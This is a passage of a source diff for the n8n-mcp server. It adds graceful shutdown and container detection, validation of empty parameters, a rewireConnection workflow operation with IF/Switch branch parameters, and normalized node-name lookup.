+  // /run/.containerenv exists in Podman containers
+  try {
+    return existsSync('/.dockerenv') || existsSync('/run/.containerenv');
+  } catch (error) {
+    // If filesystem check fails, assume not in container
+    logger.debug('Container detection filesystem check failed:', error);
+    return false;
+  }
+}
+
 async function main() {
   // Handle telemetry CLI commands
   const args = process.argv.slice(2);
@@ -91,6 +122,67 @@ Learn more: https://github.com/czlonkowski/n8n-mcp/blob/main/PRIVACY.md
     } else {
       // Stdio mode - for local Claude Desktop
       const server = new N8NDocumentationMCPServer();
+
+      // Graceful shutdown handler (fixes Issue #277)
+      let isShuttingDown = false;
+      const shutdown = async (signal: string = 'UNKNOWN') => {
+        if (isShuttingDown) return; // Prevent multiple shutdown calls
+        isShuttingDown = true;
+
+        try {
+          logger.info(`Shutdown initiated by: ${signal}`);
+
+          await server.shutdown();
+
+          // Close stdin to signal we're done reading
+          if (process.stdin && !process.stdin.destroyed) {
+            process.stdin.pause();
+            process.stdin.destroy();
+          }
+
+          // Exit with timeout to ensure we don't hang
+          // Increased to 1000ms for slower systems
+          setTimeout(() => {
+            logger.warn('Shutdown timeout exceeded, forcing exit');
+            process.exit(0);
+          }, 1000).unref();
+
+          // Let the timeout handle the exit for graceful shutdown
+          // (removed immediate exit to allow cleanup to complete)
+        } catch (error) {
+          logger.error('Error during shutdown:', error);
+          process.exit(1);
+        }
+      };
+
+      // Handle termination signals (fixes Issue #277)
+      // Signal handling strategy:
+      // - Claude Desktop (Windows/macOS/Linux): stdin handlers + signal handlers
+      //   Primary: stdin close when Claude quits | Fallback: SIGTERM/SIGINT/SIGHUP
+      // - Container environments: signal handlers ONLY
+      //   stdin closed in detached mode would trigger immediate shutdown
+      //   Container detection via IS_DOCKER/IS_CONTAINER env vars + filesystem markers
+      // - Manual execution: Both stdin and signal handlers work
+      process.on('SIGTERM', () => shutdown('SIGTERM'));
+      process.on('SIGINT', () => shutdown('SIGINT'));
+      process.on('SIGHUP', () => shutdown('SIGHUP'));
+
+      // Handle stdio disconnect - PRIMARY shutdown mechanism for Claude Desktop
+      // Skip in container environments (Docker, Kubernetes, Podman) to prevent
+      // premature shutdown when stdin is closed in detached mode.
+      // Containers rely on signal handlers (SIGTERM/SIGINT/SIGHUP) for proper shutdown.
+      const isContainer = isContainerEnvironment();
+
+      if (!isContainer && process.stdin.readable && !process.stdin.destroyed) {
+        try {
+          process.stdin.on('end', () => shutdown('STDIN_END'));
+          process.stdin.on('close', () => shutdown('STDIN_CLOSE'));
+        } catch (error) {
+          logger.error('Failed to register stdin handlers, using signal handlers only:', error);
+          // Continue - signal handlers will still work
+        }
+      }
+
       await server.run();
     }
   } catch (error) {

src/mcp/server.ts

@@ -599,16 +599,23 @@ export class N8NDocumentationMCPServer {
    */
   private validateToolParamsBasic(toolName: string, args: any, requiredParams: string[]): void {
     const missing: string[] = [];
-    
+    const invalid: string[] = [];
+
     for (const param of requiredParams) {
       if (!(param in args) || args[param] === undefined || args[param] === null) {
         missing.push(param);
+      } else if (typeof args[param] === 'string' && args[param].trim() === '') {
+        invalid.push(`${param} (empty string)`);
       }
     }
-    
+
     if (missing.length > 0) {
       throw new Error(`Missing required parameters for ${toolName}: ${missing.join(', ')}. Please provide the required parameters to use this tool.`);
     }
+
+    if (invalid.length > 0) {
+      throw new Error(`Invalid parameters for ${toolName}: ${invalid.join(', ')}. String parameters cannot be empty.`);
+    }
   }
 
   /**

src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts

@@ -4,11 +4,14 @@ export const n8nUpdatePartialWorkflowDoc: ToolDocumentation = {
   name: 'n8n_update_partial_workflow',
   category: 'workflow_management',
   essentials: {
-    description: 'Update workflow incrementally with diff operations. Types: addNode, removeNode, updateNode, moveNode, enable/disableNode, addConnection, removeConnection, cleanStaleConnections, replaceConnections, updateSettings, updateName, add/removeTag.',
+    description: 'Update workflow incrementally with diff operations. Types: addNode, removeNode, updateNode, moveNode, enable/disableNode, addConnection, removeConnection, rewireConnection, cleanStaleConnections, replaceConnections, updateSettings, updateName, add/removeTag. Supports smart parameters (branch, case) for multi-output nodes.',
     keyParameters: ['id', 'operations', 'continueOnError'],
-    example: 'n8n_update_partial_workflow({id: "wf_123", operations: [{type: "cleanStaleConnections"}]})',
+    example: 'n8n_update_partial_workflow({id: "wf_123", operations: [{type: "rewireConnection", source: "IF", from: "Old", to: "New", branch: "true"}]})',
     performance: 'Fast (50-200ms)',
     tips: [
+      'Use rewireConnection to change connection targets',
+      'Use branch="true"/"false" for IF nodes',
+      'Use case=N for Switch nodes',
       'Use cleanStaleConnections to auto-remove broken connections',
       'Set ignoreErrors:true on removeConnection for cleanup',
       'Use continueOnError mode for best-effort bulk operations',
@@ -16,7 +19,7 @@ export const n8nUpdatePartialWorkflowDoc: ToolDocumentation = {
     ]
   },
   full: {
-    description: `Updates workflows using surgical diff operations instead of full replacement. Supports 15 operation types for precise modifications. Operations are validated and applied atomically by default - all succeed or none are applied. v2.14.4 adds cleanup operations and best-effort mode for workflow recovery scenarios.
+    description: `Updates workflows using surgical diff operations instead of full replacement. Supports 15 operation types for precise modifications. Operations are validated and applied atomically by default - all succeed or none are applied.
 
 ## Available Operations:
 
@@ -29,11 +32,11 @@ export const n8nUpdatePartialWorkflowDoc: ToolDocumentation = {
 - **disableNode**: Disable an active node
 
 ### Connection Operations (5 types):
-- **addConnection**: Connect nodes (source→target)
+- **addConnection**: Connect nodes (source→target). Supports smart parameters: branch="true"/"false" for IF nodes, case=N for Switch nodes.
 - **removeConnection**: Remove connection between nodes (supports ignoreErrors flag)
-- **updateConnection**: Modify connection properties
-- **cleanStaleConnections**: Auto-remove all connections referencing non-existent nodes (NEW in v2.14.4)
-- **replaceConnections**: Replace entire connections object (NEW in v2.14.4)
+- **rewireConnection**: Change connection target from one node to another. Supports smart parameters.
+- **cleanStaleConnections**: Auto-remove all connections referencing non-existent nodes
+- **replaceConnections**: Replace entire connections object
 
 ### Metadata Operations (4 types):
 - **updateSettings**: Modify workflow settings
@@ -41,7 +44,20 @@ export const n8nUpdatePartialWorkflowDoc: ToolDocumentation = {
 - **addTag**: Add a workflow tag
 - **removeTag**: Remove a workflow tag
 
-## New in v2.14.4: Cleanup & Recovery Features
+## Smart Parameters for Multi-Output Nodes
+
+For **IF nodes**, use semantic 'branch' parameter instead of technical sourceIndex:
+- **branch="true"**: Routes to true branch (sourceIndex=0)
+- **branch="false"**: Routes to false branch (sourceIndex=1)
+
+For **Switch nodes**, use semantic 'case' parameter:
+- **case=0**: First output
+- **case=1**: Second output
+- **case=N**: Nth output
+
+Works with addConnection and rewireConnection operations. Explicit sourceIndex overrides smart parameters.
+
+## Cleanup & Recovery Features
 
 ### Automatic Cleanup
 The **cleanStaleConnections** operation automatically removes broken connection references after node renames/deletions. Essential for workflow recovery.
@@ -63,14 +79,24 @@ Add **ignoreErrors: true** to removeConnection operations to prevent failures wh
     },
     returns: 'Updated workflow object or validation results if validateOnly=true',
     examples: [
-      '// Clean up stale connections after node renames/deletions\nn8n_update_partial_workflow({id: "abc", operations: [{type: "cleanStaleConnections"}]})',
-      '// Remove connection gracefully (no error if it doesn\'t exist)\nn8n_update_partial_workflow({id: "xyz", operations: [{type: "removeConnection", source: "Old Node", target: "Target", ignoreErrors: true}]})',
-      '// Best-effort mode: apply what works, report what fails\nn8n_update_partial_workflow({id: "123", operations: [\n  {type: "updateName", name: "Fixed Workflow"},\n  {type: "removeConnection", source: "Broken", target: "Node"},\n  {type: "cleanStaleConnections"}\n], continueOnError: true})',
-      '// Replace entire connections object\nn8n_update_partial_workflow({id: "456", operations: [{type: "replaceConnections", connections: {"Webhook": {"main": [[{node: "Slack", type: "main", index: 0}]]}}}]})',
-      '// Update node parameter (classic atomic mode)\nn8n_update_partial_workflow({id: "789", operations: [{type: "updateNode", nodeName: "HTTP Request", updates: {"parameters.url": "https://api.example.com"}}]})',
-      '// Validate before applying\nn8n_update_partial_workflow({id: "012", operations: [{type: "removeNode", nodeName: "Old Process"}], validateOnly: true})'
+      '// Add a basic node (minimal configuration)\nn8n_update_partial_workflow({id: "abc", operations: [{type: "addNode", node: {name: "Process Data", type: "n8n-nodes-base.set", position: [400, 300], parameters: {}}}]})',
+      '// Add node with full configuration\nn8n_update_partial_workflow({id: "def", operations: [{type: "addNode", node: {name: "Send Slack Alert", type: "n8n-nodes-base.slack", position: [600, 300], typeVersion: 2, parameters: {resource: "message", operation: "post", channel: "#alerts", text: "Success!"}}}]})',
+      '// Add node AND connect it (common pattern)\nn8n_update_partial_workflow({id: "ghi", operations: [\n  {type: "addNode", node: {name: "HTTP Request", type: "n8n-nodes-base.httpRequest", position: [400, 300], parameters: {url: "https://api.example.com", method: "GET"}}},\n  {type: "addConnection", source: "Webhook", target: "HTTP Request"}\n]})',
+      '// Rewire connection from one target to another\nn8n_update_partial_workflow({id: "xyz", operations: [{type: "rewireConnection", source: "Webhook", from: "Old Handler", to: "New Handler"}]})',
+      '// Smart parameter: IF node true branch\nn8n_update_partial_workflow({id: "abc", operations: [{type: "addConnection", source: "IF", target: "Success Handler", branch: "true"}]})',
+      '// Smart parameter: IF node false branch\nn8n_update_partial_workflow({id: "def", operations: [{type: "addConnection", source: "IF", target: "Error Handler", branch: "false"}]})',
+      '// Smart parameter: Switch node case routing\nn8n_update_partial_workflow({id: "ghi", operations: [\n  {type: "addConnection", source: "Switch", target: "Handler A", case: 0},\n  {type: "addConnection", source: "Switch", target: "Handler B", case: 1},\n  {type: "addConnection", source: "Switch", target: "Handler C", case: 2}\n]})',
+      '// Rewire with smart parameter\nn8n_update_partial_workflow({id: "jkl", operations: [{type: "rewireConnection", source: "IF", from: "Old True Handler", to: "New True Handler", branch: "true"}]})',
+      '// Add multiple nodes in batch\nn8n_update_partial_workflow({id: "mno", operations: [\n  {type: "addNode", node: {name: "Filter", type: "n8n-nodes-base.filter", position: [400, 300], parameters: {}}},\n  {type: "addNode", node: {name: "Transform", type: "n8n-nodes-base.set", position: [600, 300], parameters: {}}},\n  {type: "addConnection", source: "Filter", target: "Transform"}\n]})',
+      '// Clean up stale connections after node renames/deletions\nn8n_update_partial_workflow({id: "pqr", operations: [{type: "cleanStaleConnections"}]})',
+      '// Remove connection gracefully (no error if it doesn\'t exist)\nn8n_update_partial_workflow({id: "stu", operations: [{type: "removeConnection", source: "Old Node", target: "Target", ignoreErrors: true}]})',
+      '// Best-effort mode: apply what works, report what fails\nn8n_update_partial_workflow({id: "vwx", operations: [\n  {type: "updateName", name: "Fixed Workflow"},\n  {type: "removeConnection", source: "Broken", target: "Node"},\n  {type: "cleanStaleConnections"}\n], continueOnError: true})',
+      '// Update node parameter\nn8n_update_partial_workflow({id: "yza", operations: [{type: "updateNode", nodeName: "HTTP Request", updates: {"parameters.url": "https://api.example.com"}}]})',
+      '// Validate before applying\nn8n_update_partial_workflow({id: "bcd", operations: [{type: "removeNode", nodeName: "Old Process"}], validateOnly: true})'
     ],
     useCases: [
+      'Rewire connections when replacing nodes',
+      'Route IF/Switch node outputs with semantic parameters',
       'Clean up broken workflows after node renames/deletions',
       'Bulk connection cleanup with best-effort mode',
       'Update single node parameters',
@@ -82,6 +108,9 @@ Add **ignoreErrors: true** to removeConnection operations to prevent failures wh
     ],
     performance: 'Very fast - typically 50-200ms. Much faster than full updates as only changes are processed.',
     bestPractices: [
+      'Use rewireConnection instead of remove+add for changing targets',
+      'Use branch="true"/"false" for IF nodes instead of sourceIndex',
+      'Use case=N for Switch nodes instead of sourceIndex',
       'Use cleanStaleConnections after renaming/removing nodes',
       'Use continueOnError for bulk cleanup operations',
       'Set ignoreErrors:true on removeConnection for graceful cleanup',
@@ -96,7 +125,11 @@ Add **ignoreErrors: true** to removeConnection operations to prevent failures wh
       'continueOnError breaks atomic guarantees - use with caution',
       'Order matters for dependent operations (e.g., must add node before connecting to it)',
       'Node references accept ID or name, but name must be unique',
+      'Node names with special characters (apostrophes, quotes) work correctly',
+      'For best compatibility, prefer node IDs over names when dealing with special characters',
       'Use "updates" property for updateNode operations: {type: "updateNode", updates: {...}}',
+      'Smart parameters (branch, case) only work with IF and Switch nodes - ignored for other node types',
+      'Explicit sourceIndex overrides smart parameters (branch, case) if both provided',
       'cleanStaleConnections removes ALL broken connections - cannot be selective',
       'replaceConnections overwrites entire connections object - all previous connections lost'
     ],

src/services/n8n-api-client.ts

@@ -161,9 +161,10 @@ export class N8nApiClient {
     }
   }
 
-  async deleteWorkflow(id: string): Promise<void> {
+  async deleteWorkflow(id: string): Promise<Workflow> {
     try {
-      await this.client.delete(`/workflows/${id}`);
+      const response = await this.client.delete(`/workflows/${id}`);
+      return response.data;
     } catch (error) {
       throw handleN8nApiError(error);
     }

src/services/workflow-diff-engine.ts

@@ -20,7 +20,7 @@ import {
   DisableNodeOperation,
   AddConnectionOperation,
   RemoveConnectionOperation,
-  UpdateConnectionOperation,
+  RewireConnectionOperation,
   UpdateSettingsOperation,
   UpdateNameOperation,
   AddTagOperation,
@@ -223,8 +223,8 @@ export class WorkflowDiffEngine {
         return this.validateAddConnection(workflow, operation);
       case 'removeConnection':
         return this.validateRemoveConnection(workflow, operation);
-      case 'updateConnection':
-        return this.validateUpdateConnection(workflow, operation);
+      case 'rewireConnection':
+        return this.validateRewireConnection(workflow, operation as RewireConnectionOperation);
       case 'updateSettings':
       case 'updateName':
       case 'addTag':
@@ -268,8 +268,8 @@ export class WorkflowDiffEngine {
       case 'removeConnection':
         this.applyRemoveConnection(workflow, operation);
         break;
-      case 'updateConnection':
-        this.applyUpdateConnection(workflow, operation);
+      case 'rewireConnection':
+        this.applyRewireConnection(workflow, operation as RewireConnectionOperation);
         break;
       case 'updateSettings':
         this.applyUpdateSettings(workflow, operation);
@@ -295,10 +295,14 @@ export class WorkflowDiffEngine {
   // Node operation validators
   private validateAddNode(workflow: Workflow, operation: AddNodeOperation): string | null {
     const { node } = operation;
-    
-    // Check if node with same name already exists
-    if (workflow.nodes.some(n => n.name === node.name)) {
-      return `Node with name "${node.name}" already exists`;
+
+    // Check if node with same name already exists (use normalization to prevent collisions)
+    const normalizedNewName = this.normalizeNodeName(node.name);
+    const duplicate = workflow.nodes.find(n =>
+      this.normalizeNodeName(n.name) === normalizedNewName
+    );
+    if (duplicate) {
+      return `Node with name "${node.name}" already exists (normalized name matches existing node "${duplicate.name}")`;
     }
     
     // Validate node type format
@@ -316,7 +320,7 @@ export class WorkflowDiffEngine {
   private validateRemoveNode(workflow: Workflow, operation: RemoveNodeOperation): string | null {
     const node = this.findNode(workflow, operation.nodeId, operation.nodeName);
     if (!node) {
-      return `Node not found: ${operation.nodeId || operation.nodeName}`;
+      return this.formatNodeNotFoundError(workflow, operation.nodeId || operation.nodeName || '', 'removeNode');
     }
     
     // Check if node has connections that would be broken
@@ -339,7 +343,7 @@ export class WorkflowDiffEngine {
   private validateUpdateNode(workflow: Workflow, operation: UpdateNodeOperation): string | null {
     const node = this.findNode(workflow, operation.nodeId, operation.nodeName);
     if (!node) {
-      return `Node not found: ${operation.nodeId || operation.nodeName}`;
+      return this.formatNodeNotFoundError(workflow, operation.nodeId || operation.nodeName || '', 'updateNode');
     }
     return null;
   }
@@ -347,7 +351,7 @@ export class WorkflowDiffEngine {
   private validateMoveNode(workflow: Workflow, operation: MoveNodeOperation): string | null {
     const node = this.findNode(workflow, operation.nodeId, operation.nodeName);
     if (!node) {
-      return `Node not found: ${operation.nodeId || operation.nodeName}`;
+      return this.formatNodeNotFoundError(workflow, operation.nodeId || operation.nodeName || '', 'moveNode');
     }
     return null;
   }
@@ -355,7 +359,8 @@ export class WorkflowDiffEngine {
   private validateToggleNode(workflow: Workflow, operation: EnableNodeOperation | DisableNodeOperation): string | null {
     const node = this.findNode(workflow, operation.nodeId, operation.nodeName);
     if (!node) {
-      return `Node not found: ${operation.nodeId || operation.nodeName}`;
+      const operationType = operation.type === 'enableNode' ? 'enableNode' : 'disableNode';
+      return this.formatNodeNotFoundError(workflow, operation.nodeId || operation.nodeName || '', operationType);
     }
     return null;
   }
@@ -384,12 +389,16 @@ export class WorkflowDiffEngine {
     const targetNode = this.findNode(workflow, operation.target, operation.target);
 
     if (!sourceNode) {
-      const availableNodes = workflow.nodes.map(n => n.name).join(', ');
-      return `Source node not found: "${operation.source}". Available nodes: ${availableNodes}`;
+      const availableNodes = workflow.nodes
+        .map(n => `"${n.name}" (id: ${n.id.substring(0, 8)}...)`)
+        .join(', ');
+      return `Source node not found: "${operation.source}". Available nodes: ${availableNodes}. Tip: Use node ID for names with special characters (apostrophes, quotes).`;
     }
     if (!targetNode) {
-      const availableNodes = workflow.nodes.map(n => n.name).join(', ');
-      return `Target node not found: "${operation.target}". Available nodes: ${availableNodes}`;
+      const availableNodes = workflow.nodes
+        .map(n => `"${n.name}" (id: ${n.id.substring(0, 8)}...)`)
+        .join(', ');
+      return `Target node not found: "${operation.target}". Available nodes: ${availableNodes}. Tip: Use node ID for names with special characters (apostrophes, quotes).`;
     }
 
     // Check if connection already exists
@@ -417,10 +426,16 @@ export class WorkflowDiffEngine {
     const targetNode = this.findNode(workflow, operation.target, operation.target);
 
     if (!sourceNode) {
-      return `Source node not found: ${operation.source}`;
+      const availableNodes = workflow.nodes
+        .map(n => `"${n.name}" (id: ${n.id.substring(0, 8)}...)`)
+        .join(', ');
+      return `Source node not found: "${operation.source}". Available nodes: ${availableNodes}. Tip: Use node ID for names with special characters.`;
     }
     if (!targetNode) {
-      return `Target node not found: ${operation.target}`;
+      const availableNodes = workflow.nodes
+        .map(n => `"${n.name}" (id: ${n.id.substring(0, 8)}...)`)
+        .join(', ');
+      return `Target node not found: "${operation.target}". Available nodes: ${availableNodes}. Tip: Use node ID for names with special characters.`;
     }
 
     const sourceOutput = operation.sourceOutput || 'main';
@@ -440,37 +455,53 @@ export class WorkflowDiffEngine {
     return null;
   }
 
-  private validateUpdateConnection(workflow: Workflow, operation: UpdateConnectionOperation): string | null {
+  private validateRewireConnection(workflow: Workflow, operation: RewireConnectionOperation): string | null {
+    // Validate source node exists
     const sourceNode = this.findNode(workflow, operation.source, operation.source);
-    const targetNode = this.findNode(workflow, operation.target, operation.target);
-    
     if (!sourceNode) {
-      return `Source node not found: ${operation.source}`;
+      const availableNodes = workflow.nodes
+        .map(n => `"${n.name}" (id: ${n.id.substring(0, 8)}...)`)
+        .join(', ');
+      return `Source node not found: "${operation.source}". Available nodes: ${availableNodes}. Tip: Use node ID for names with special characters.`;
     }
-    if (!targetNode) {
-      return `Target node not found: ${operation.target}`;
+
+    // Validate "from" node exists (current target)
+    const fromNode = this.findNode(workflow, operation.from, operation.from);
+    if (!fromNode) {
+      const availableNodes = workflow.nodes
+        .map(n => `"${n.name}" (id: ${n.id.substring(0, 8)}...)`)
+        .join(', ');
+      return `"From" node not found: "${operation.from}". Available nodes: ${availableNodes}. Tip: Use node ID for names with special characters.`;
     }
-    
-    // Check if connection exists to update
-    const existingConnections = workflow.connections[sourceNode.name];
-    if (!existingConnections) {
-      return `No connections found from "${sourceNode.name}"`;
+
+    // Validate "to" node exists (new target)
+    const toNode = this.findNode(workflow, operation.to, operation.to);
+    if (!toNode) {
+      const availableNodes = workflow.nodes
+        .map(n => `"${n.name}" (id: ${n.id.substring(0, 8)}...)`)
+        .join(', ');
+      return `"To" node not found: "${operation.to}". Available nodes: ${availableNodes}. Tip: Use node ID for names with special characters.`;
     }
-    
-    // Check if any connection to target exists
-    let hasConnection = false;
-    Object.values(existingConnections).forEach(outputs => {
-      outputs.forEach(connections => {
-        if (connections.some(c => c.node === targetNode.name)) {
-          hasConnection = true;
-        }
-      });
-    });
-    
+
+    // Resolve smart parameters (branch, case) before validating connections
+    const { sourceOutput, sourceIndex } = this.resolveSmartParameters(workflow, operation);
+
+    // Validate that connection from source to "from" exists at the specific index
+    const connections = workflow.connections[sourceNode.name]?.[sourceOutput];
+    if (!connections) {
+      return `No connections found from "${sourceNode.name}" on output "${sourceOutput}"`;
+    }
+
+    if (!connections[sourceIndex]) {
+      return `No connections found from "${sourceNode.name}" on output "${sourceOutput}" at index ${sourceIndex}`;
+    }
+
+    const hasConnection = connections[sourceIndex].some(c => c.node === fromNode.name);
+
     if (!hasConnection) {
-      return `No connection exists from "${sourceNode.name}" to "${targetNode.name}"`;
+      return `No connection exists from "${sourceNode.name}" to "${fromNode.name}" on output "${sourceOutput}" at index ${sourceIndex}"`;
     }
-    
+
     return null;
   }
 
@@ -564,32 +595,77 @@ export class WorkflowDiffEngine {
     node.disabled = true;
   }
 
+  /**
+   * Resolve smart parameters (branch, case) to technical parameters
+   * Phase 1 UX improvement: Semantic parameters for multi-output nodes
+   */
+  private resolveSmartParameters(
+    workflow: Workflow,
+    operation: AddConnectionOperation | RewireConnectionOperation
+  ): { sourceOutput: string; sourceIndex: number } {
+    const sourceNode = this.findNode(workflow, operation.source, operation.source);
+
+    // Start with explicit values or defaults
+    let sourceOutput = operation.sourceOutput ?? 'main';
+    let sourceIndex = operation.sourceIndex ?? 0;
+
+    // Smart parameter: branch (for IF nodes)
+    // IF nodes use 'main' output with index 0 (true) or 1 (false)
+    if (operation.branch !== undefined && operation.sourceIndex === undefined) {
+      // Only apply if sourceIndex not explicitly set
+      if (sourceNode?.type === 'n8n-nodes-base.if') {
+        sourceIndex = operation.branch === 'true' ? 0 : 1;
+        // sourceOutput remains 'main' (do not change it)
+      }
+    }
+
+    // Smart parameter: case (for Switch nodes)
+    if (operation.case !== undefined && operation.sourceIndex === undefined) {
+      // Only apply if sourceIndex not explicitly set
+      sourceIndex = operation.case;
+    }
+
+    return { sourceOutput, sourceIndex };
+  }
+
   // Connection operation appliers
   private applyAddConnection(workflow: Workflow, operation: AddConnectionOperation): void {
     const sourceNode = this.findNode(workflow, operation.source, operation.source);
     const targetNode = this.findNode(workflow, operation.target, operation.target);
     if (!sourceNode || !targetNode) return;
-    
-    const sourceOutput = operation.sourceOutput || 'main';
-    const targetInput = operation.targetInput || 'main';
-    const sourceIndex = operation.sourceIndex || 0;
-    const targetIndex = operation.targetIndex || 0;
-    
-    // Initialize connections structure if needed
+
+    // Resolve smart parameters (branch, case) to technical parameters
+    const { sourceOutput, sourceIndex } = this.resolveSmartParameters(workflow, operation);
+
+    // Use nullish coalescing to properly handle explicit 0 values
+    const targetInput = operation.targetInput ?? 'main';
+    const targetIndex = operation.targetIndex ?? 0;
+
+    // Initialize source node connections object
     if (!workflow.connections[sourceNode.name]) {
       workflow.connections[sourceNode.name] = {};
     }
+
+    // Initialize output type array
     if (!workflow.connections[sourceNode.name][sourceOutput]) {
       workflow.connections[sourceNode.name][sourceOutput] = [];
     }
-    
-    // Ensure we have array at the source index
-    while (workflow.connections[sourceNode.name][sourceOutput].length <= sourceIndex) {
-      workflow.connections[sourceNode.name][sourceOutput].push([]);
+
+    // Get reference to output array for clarity
+    const outputArray = workflow.connections[sourceNode.name][sourceOutput];
+
+    // Ensure we have connection arrays up to and including the target sourceIndex
+    while (outputArray.length <= sourceIndex) {
+      outputArray.push([]);
     }
-    
-    // Add connection
-    workflow.connections[sourceNode.name][sourceOutput][sourceIndex].push({
+
+    // Defensive: Verify the slot is an array (should always be true after while loop)
+    if (!Array.isArray(outputArray[sourceIndex])) {
+      outputArray[sourceIndex] = [];
+    }
+
+    // Add connection to the correct sourceIndex
+    outputArray[sourceIndex].push({
       node: targetNode.name,
       type: targetInput,
       index: targetIndex
@@ -615,12 +691,14 @@ export class WorkflowDiffEngine {
     workflow.connections[sourceNode.name][sourceOutput] = connections.map(conns =>
       conns.filter(conn => conn.node !== targetNode.name)
     );
-    
-    // Clean up empty arrays
-    workflow.connections[sourceNode.name][sourceOutput] = 
-      workflow.connections[sourceNode.name][sourceOutput].filter(conns => conns.length > 0);
-    
-    if (workflow.connections[sourceNode.name][sourceOutput].length === 0) {
+
+    // Remove trailing empty arrays only (preserve intermediate empty arrays to maintain indices)
+    const outputConnections = workflow.connections[sourceNode.name][sourceOutput];
+    while (outputConnections.length > 0 && outputConnections[outputConnections.length - 1].length === 0) {
+      outputConnections.pop();
+    }
+
+    if (outputConnections.length === 0) {
       delete workflow.connections[sourceNode.name][sourceOutput];
     }
     
@@ -629,24 +707,36 @@ export class WorkflowDiffEngine {
     }
   }
 
-  private applyUpdateConnection(workflow: Workflow, operation: UpdateConnectionOperation): void {
-    // For now, implement as remove + add
+  /**
+   * Rewire a connection from one target to another
+   * This is a semantic wrapper around removeConnection + addConnection
+   * that provides clear intent: "rewire connection from X to Y"
+   *
+   * @param workflow - Workflow to modify
+   * @param operation - Rewire operation specifying source, from, and to
+   */
+  private applyRewireConnection(workflow: Workflow, operation: RewireConnectionOperation): void {
+    // Resolve smart parameters (branch, case) to technical parameters
+    const { sourceOutput, sourceIndex } = this.resolveSmartParameters(workflow, operation);
+
+    // First, remove the old connection (source → from)
     this.applyRemoveConnection(workflow, {
       type: 'removeConnection',
       source: operation.source,
-      target: operation.target,
-      sourceOutput: operation.updates.sourceOutput,
-      targetInput: operation.updates.targetInput
+      target: operation.from,
+      sourceOutput: sourceOutput,
+      targetInput: operation.targetInput
     });
-    
+
+    // Then, add the new connection (source → to)
     this.applyAddConnection(workflow, {
       type: 'addConnection',
       source: operation.source,
-      target: operation.target,
-      sourceOutput: operation.updates.sourceOutput,
-      targetInput: operation.updates.targetInput,
-      sourceIndex: operation.updates.sourceIndex,
-      targetIndex: operation.updates.targetIndex
+      target: operation.to,
+      sourceOutput: sourceOutput,
+      targetInput: operation.targetInput,
+      sourceIndex: sourceIndex,
+      targetIndex: 0 // Default target index for new connection
     });
   }
 
@@ -791,26 +881,96 @@ export class WorkflowDiffEngine {
   }
 
   // Helper methods
+
+  /**
+   * Normalize node names to handle special characters and escaping differences.
+   * Fixes issue #270: apostrophes and other special characters in node names.
+   *
+   * ⚠️ WARNING: Normalization can cause collisions between names that differ only in:
+   * - Leading/trailing whitespace
+   * - Multiple consecutive spaces vs single spaces
+   * - Escaped vs unescaped quotes/backslashes
+   * - Different types of whitespace (tabs, newlines, spaces)
+   *
+   * Examples of names that normalize to the SAME value:
+   * - "Node 'test'" === "Node  'test'" (multiple spaces)
+   * - "Node 'test'" === "Node\t'test'" (tab vs space)
+   * - "Node 'test'" === "Node \\'test\\'" (escaped quotes)
+   * - "Path\\to\\file" === "Path\\\\to\\\\file" (escaped backslashes)
+   *
+   * Best Practice: For node names with special characters, prefer using node IDs
+   * to avoid ambiguity. Use n8n_get_workflow_structure() to get node IDs.
+   *
+   * @param name - The node name to normalize
+   * @returns Normalized node name for safe comparison
+   */
+  private normalizeNodeName(name: string): string {
+    return name
+      .trim()                    // Remove leading/trailing whitespace
+      .replace(/\\\\/g, '\\')    // FIRST: Unescape backslashes: \\ -> \ (must be first to handle multiply-escaped chars)
+      .replace(/\\'/g, "'")      // THEN: Unescape single quotes: \' -> '
+      .replace(/\\"/g, '"')      // THEN: Unescape double quotes: \" -> "
+      .replace(/\s+/g, ' ');     // FINALLY: Normalize all whitespace (spaces, tabs, newlines) to single space
+  }
+
+  /**
+   * Find a node by ID or name in the workflow.
+   * Uses string normalization to handle special characters (Issue #270).
+   *
+   * @param workflow - The workflow to search in
+   * @param nodeId - Optional node ID to search for
+   * @param nodeName - Optional node name to search for
+   * @returns The found node or null
+   */
   private findNode(workflow: Workflow, nodeId?: string, nodeName?: string): WorkflowNode | null {
+    // Try to find by ID first (exact match, no normalization needed for UUIDs)
     if (nodeId) {
       const nodeById = workflow.nodes.find(n => n.id === nodeId);
       if (nodeById) return nodeById;
     }
-    
+
+    // Try to find by name with normalization (handles special characters)
     if (nodeName) {
-      const nodeByName = workflow.nodes.find(n => n.name === nodeName);
+      const normalizedSearch = this.normalizeNodeName(nodeName);
+      const nodeByName = workflow.nodes.find(n =>
+        this.normalizeNodeName(n.name) === normalizedSearch
+      );
       if (nodeByName) return nodeByName;
     }
-    
-    // If nodeId is provided but not found, try treating it as a name
+
+    // Fallback: If nodeId provided but not found, try treating it as a name
+    // This allows operations to work with either IDs or names flexibly
     if (nodeId && !nodeName) {
-      const nodeByName = workflow.nodes.find(n => n.name === nodeId);
+      const normalizedSearch = this.normalizeNodeName(nodeId);
+      const nodeByName = workflow.nodes.find(n =>
+        this.normalizeNodeName(n.name) === normalizedSearch
+      );
       if (nodeByName) return nodeByName;
     }
-    
+
     return null;
   }
 
+  /**
+   * Format a consistent "node not found" error message with helpful context.
+   * Shows available nodes with IDs and tips about using node IDs for special characters.
+   *
+   * @param workflow - The workflow being validated
+   * @param nodeIdentifier - The node ID or name that wasn't found
+   * @param operationType - The operation being performed (e.g., "removeNode", "updateNode")
+   * @returns Formatted error message with available nodes and helpful tips
+   */
+  private formatNodeNotFoundError(
+    workflow: Workflow,
+    nodeIdentifier: string,
+    operationType: string
+  ): string {
+    const availableNodes = workflow.nodes
+      .map(n => `"${n.name}" (id: ${n.id.substring(0, 8)}...)`)
+      .join(', ');
+    return `Node not found for ${operationType}: "${nodeIdentifier}". Available nodes: ${availableNodes}. Tip: Use node ID for names with special characters (apostrophes, quotes).`;
+  }
+
   private setNestedProperty(obj: any, path: string, value: any): void {
     const keys = path.split('.');
     let current = obj;

src/types/n8n-api.ts

@@ -226,7 +226,7 @@ export interface WorkflowListParams {
   limit?: number;
   cursor?: string;
   active?: boolean;
-  tags?: string[] | null;
+  tags?: string | null;  // Comma-separated string per n8n API spec
   projectId?: string;
   excludePinnedData?: boolean;
   instance?: string;

src/types/workflow-diff.ts

@@ -64,6 +64,9 @@ export interface AddConnectionOperation extends DiffOperation {
   targetInput?: string; // Default: 'main'
   sourceIndex?: number; // Default: 0
   targetIndex?: number; // Default: 0
+  // Smart parameters for multi-output nodes (Phase 1 UX improvement)
+  branch?: 'true' | 'false'; // For IF nodes: maps to sourceIndex (0=true, 1=false)
